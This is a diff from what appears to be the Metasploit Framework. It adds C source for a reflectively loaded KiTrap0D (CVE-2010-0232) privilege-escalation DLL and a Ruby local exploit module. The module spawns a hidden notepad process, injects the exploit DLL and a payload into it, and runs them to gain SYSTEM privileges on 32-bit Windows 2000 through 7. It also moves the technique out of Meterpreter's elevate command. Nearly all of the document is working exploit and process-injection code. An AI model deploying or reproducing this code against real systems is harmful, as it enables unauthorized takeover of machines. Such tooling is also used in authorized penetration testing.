<ClCompile Include="kitrap0d.c" />
|
||||||
|
<ClCompile Include="main.c" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="kitrap0d.h" />
|
||||||
|
<ClInclude Include="..\common\common.h">
|
||||||
|
<Filter>common</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="common">
|
||||||
|
<UniqueIdentifier>{e7b668e3-c161-49b7-a15a-94b7d6777d01}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
|
@ -0,0 +1,156 @@
|
||||||
|
//
|
||||||
|
// Note: To use the produced x86 dll on NT4 we use a post build event "editbin.exe /OSVERSION:4.0 /SUBSYSTEM:WINDOWS,4.0 elevator.dll"
|
||||||
|
// in order to change the MajorOperatingSystemVersion and MajorSubsystemVersion to 4 instead of 5 as Visual C++ 2008
|
||||||
|
// can't build PE images for NT4 (only 2000 and up). The modified dll will then work on NT4 and up. This does
|
||||||
|
// not apply to the produced x64 dll.
|
||||||
|
//
|
||||||
|
|
||||||
|
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||||
|
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||||
|
#include "../common/ReflectiveLoader.c"
|
||||||
|
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include "kitrap0d.h"
|
||||||
|
#include "../common/common.h"
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Grab a \c DWORD value out of the command line.
|
||||||
|
* @example elevator_command_dword( "/FOO:0x41414141 /BAR:0xCAFEF00D", "/FOO:" ) == 0x41414141
|
||||||
|
* @param cpCommandLine Command line string
|
||||||
|
* @param cpCommand The command to look for to get the associated \c int from.
|
||||||
|
* @returns The \c int value associated with the \c cpCommand.
|
||||||
|
*/
|
||||||
|
DWORD elevator_command_dword(char * cpCommandLine, char * cpCommand)
|
||||||
|
{
|
||||||
|
char * cpString = NULL;
|
||||||
|
DWORD dwResult = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if (!cpCommandLine || !cpCommand) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
cpString = strstr(cpCommandLine, cpCommand);
|
||||||
|
if (!cpString) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
cpString += strlen(cpCommand);
|
||||||
|
|
||||||
|
dwResult = strtoul(cpString, NULL, 0);
|
||||||
|
|
||||||
|
} while (0);
|
||||||
|
|
||||||
|
return dwResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Grab an \c int value out of the command line.
|
||||||
|
* @example elevator_command_dword( "/FOO:12345 /BAR:54321", "/FOO:" ) == 12345
|
||||||
|
* @param cpCommandLine Command line string
|
||||||
|
* @param cpCommand The command to look for to get the associated \c int from.
|
||||||
|
* @returns The \c int value associated with the \c cpCommand.
|
||||||
|
*/
|
||||||
|
int elevator_command_int(char * cpCommandLine, char * cpCommand)
|
||||||
|
{
|
||||||
|
char * cpString = NULL;
|
||||||
|
int iResult = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if (!cpCommandLine || !cpCommand) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
cpString = strstr(cpCommandLine, cpCommand);
|
||||||
|
if (!cpString) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
cpString += strlen(cpCommand);
|
||||||
|
|
||||||
|
iResult = atoi(cpString);
|
||||||
|
|
||||||
|
} while (0);
|
||||||
|
|
||||||
|
return iResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief The real entrypoint for this app.
|
||||||
|
* @param cpCommandLine Pointer to the command line.
|
||||||
|
*/
|
||||||
|
VOID elevator_main(char * cpCommandLine)
|
||||||
|
{
|
||||||
|
DWORD dwResult = ERROR_SUCCESS;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
dprintf("[KITRAP0D] elevator_main. cpCommandLine=0x%08X", (DWORD)cpCommandLine);
|
||||||
|
|
||||||
|
if (!cpCommandLine) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (strlen(cpCommandLine) == 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
dprintf("[KITRAP0D] elevator_main. lpCmdLine=%s", cpCommandLine);
|
||||||
|
|
||||||
|
DWORD dwProcessId = 0;
|
||||||
|
DWORD dwKernelBase = 0;
|
||||||
|
DWORD dwOffset = 0;
|
||||||
|
|
||||||
|
dwProcessId = elevator_command_dword(cpCommandLine, "/VDM_TARGET_PID:");
|
||||||
|
dwKernelBase = elevator_command_dword(cpCommandLine, "/VDM_TARGET_KRN:");
|
||||||
|
dwOffset = elevator_command_dword(cpCommandLine, "/VDM_TARGET_OFF:");
|
||||||
|
|
||||||
|
if (!dwProcessId || !dwKernelBase) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
dprintf("[KITRAP0D] Invoking exploit");
|
||||||
|
elevator_kitrap0d(dwProcessId, dwKernelBase, dwOffset);
|
||||||
|
|
||||||
|
// ...we should never return here...
|
||||||
|
dprintf("[KITRAP0D] This shouldn't happen");
|
||||||
|
} while (0);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief rundll32.exe entry point.
|
||||||
|
* @todo Remove this?
|
||||||
|
*/
|
||||||
|
VOID DLLEXPORT CALLBACK a(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int nCmdShow)
|
||||||
|
{
|
||||||
|
elevator_main(lpszCmdLine);
|
||||||
|
|
||||||
|
ExitProcess(ERROR_SUCCESS);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief DLL entry point.
|
||||||
|
* @remark If we have been injected via RDI, lpReserved will be our command line.
|
||||||
|
*/
|
||||||
|
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
|
||||||
|
{
|
||||||
|
BOOL bReturnValue = TRUE;
|
||||||
|
|
||||||
|
switch (dwReason)
|
||||||
|
{
|
||||||
|
case DLL_PROCESS_ATTACH:
|
||||||
|
hAppInstance = hInstance;
|
||||||
|
if (lpReserved != NULL) {
|
||||||
|
elevator_main((char *)lpReserved);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_DETACH:
|
||||||
|
case DLL_THREAD_ATTACH:
|
||||||
|
case DLL_THREAD_DETACH:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
return bReturnValue;
|
||||||
|
}
|
|
@ -22,13 +22,11 @@ class Console::CommandDispatcher::Priv::Elevate
|
||||||
ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE = 1
|
ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE = 1
|
||||||
ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 = 2
|
ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 = 2
|
||||||
ELEVATE_TECHNIQUE_SERVICE_TOKENDUP = 3
|
ELEVATE_TECHNIQUE_SERVICE_TOKENDUP = 3
|
||||||
ELEVATE_TECHNIQUE_VULN_KITRAP0D = 4
|
|
||||||
|
|
||||||
ELEVATE_TECHNIQUE_DESCRIPTION = [ "All techniques available",
|
ELEVATE_TECHNIQUE_DESCRIPTION = [ "All techniques available",
|
||||||
"Service - Named Pipe Impersonation (In Memory/Admin)",
|
"Service - Named Pipe Impersonation (In Memory/Admin)",
|
||||||
"Service - Named Pipe Impersonation (Dropper/Admin)",
|
"Service - Named Pipe Impersonation (Dropper/Admin)",
|
||||||
"Service - Token Duplication (In Memory/Admin)",
|
"Service - Token Duplication (In Memory/Admin)"
|
||||||
"Exploit - KiTrap0D (In Memory/User)"
|
|
||||||
]
|
]
|
||||||
#
|
#
|
||||||
# List of supported commands.
|
# List of supported commands.
|
||||||
|
|
|
@ -0,0 +1,124 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/exploit/exe'
|
||||||
|
require 'rex'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Local
|
||||||
|
Rank = GreatRanking
|
||||||
|
|
||||||
|
include Post::File
|
||||||
|
include Post::Windows::Priv
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super( update_info( info,
|
||||||
|
'Name' => 'Windows SYSTEM escalation via KiTrap0D',
|
||||||
|
'Description' => %q{
|
||||||
|
This module will create a new session with SYSTEM privileges via the
|
||||||
|
KiTrap0D exlpoit by Tavis Ormandy. If the session is use is already
|
||||||
|
elevated then the exploit will not run. The module relies on kitrap0d.x86.dll,
|
||||||
|
and is not supported on x64 editions of Windows.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [
|
||||||
|
'Tavis Ormandy', # Original resesarcher and exploit creator
|
||||||
|
'HD Moore', # Port of Tavis' code to meterpreter module
|
||||||
|
'Pusscat', # Port of Tavis' code to meterpreter module
|
||||||
|
'OJ Reeves' # Port of meterpreter code to a windows local exploit
|
||||||
|
],
|
||||||
|
'Platform' => [ 'win' ],
|
||||||
|
'SessionTypes' => [ 'meterpreter' ],
|
||||||
|
'Targets' => [
|
||||||
|
[ 'Windows 2K SP4 - Windows 7 (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'References' => [
|
||||||
|
[ 'CVE', '2010-0232' ],
|
||||||
|
[ 'OSVDB', '61854' ],
|
||||||
|
[ 'MSB', 'MS10-015' ],
|
||||||
|
[ 'EDB', '11199' ],
|
||||||
|
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Jan/341' ]
|
||||||
|
],
|
||||||
|
'DisclosureDate'=> "Jan 19 2010"
|
||||||
|
))
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
# Validate platform architecture
|
||||||
|
if sysinfo["Architecture"] =~ /x64|WOW64/i
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
# Validate OS version
|
||||||
|
winver = sysinfo["OS"]
|
||||||
|
unless winver =~ /Windows 2000|Windows XP|Windows Vista|Windows 2003|Windows 2008|Windows 7/
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
if is_system?
|
||||||
|
fail_with(Exploit::Failure::None, 'Session is already elevated')
|
||||||
|
end
|
||||||
|
|
||||||
|
if check == Exploit::CheckCode::Safe
|
||||||
|
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
|
||||||
|
end
|
||||||
|
|
||||||
|
dll = ''
|
||||||
|
offset = nil
|
||||||
|
|
||||||
|
print_status("Launching notepad to host the exploit...")
|
||||||
|
cmd = "notepad.exe"
|
||||||
|
opts = {'Hidden' => true}
|
||||||
|
process = client.sys.process.execute(cmd, nil, opts)
|
||||||
|
pid = process.pid
|
||||||
|
host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||||
|
print_good("Process #{pid} launched.")
|
||||||
|
|
||||||
|
print_status("Reflectively injecting the exploit DLL into #{pid}...")
|
||||||
|
library_path = ::File.join(Msf::Config.data_directory, "exploits",
|
||||||
|
"CVE-2010-0232", "kitrap0d.x86.dll")
|
||||||
|
library_path = ::File.expand_path(library_path)
|
||||||
|
::File.open(library_path, 'rb') { |f| dll = f.read }
|
||||||
|
pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll))
|
||||||
|
pe.exports.entries.each do |e|
|
||||||
|
if e.name =~ /^\S*ReflectiveLoader\S*/
|
||||||
|
offset = pe.rva_to_file_offset(e.rva)
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
# Inject the exloit, but don't run it yet.
|
||||||
|
exploit_mem = inject_into_pid(dll, host_process)
|
||||||
|
|
||||||
|
print_status("Exploit injected. Injecting payload into #{pid}...")
|
||||||
|
# Inject the payload into the process so that it's runnable by the exploit.
|
||||||
|
payload_mem = inject_into_pid(payload.encoded, host_process)
|
||||||
|
|
||||||
|
print_status("Payload injected. Executing exploit...")
|
||||||
|
# invoke the exploit, passing in the address of the payload that
|
||||||
|
# we want invoked on successful exploitation.
|
||||||
|
host_process.thread.create(exploit_mem + offset, payload_mem)
|
||||||
|
|
||||||
|
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
|
||||||
|
end
|
||||||
|
|
||||||
|
protected
|
||||||
|
|
||||||
|
def inject_into_pid(payload, process)
|
||||||
|
payload_size = payload.length
|
||||||
|
payload_size += 1024 - (payload.length % 1024) unless payload.length % 1024 == 0
|
||||||
|
payload_mem = process.memory.allocate(payload_size)
|
||||||
|
process.memory.protect(payload_mem)
|
||||||
|
process.memory.write(payload_mem, payload)
|
||||||
|
return payload_mem
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
Loading…
Reference in New Issue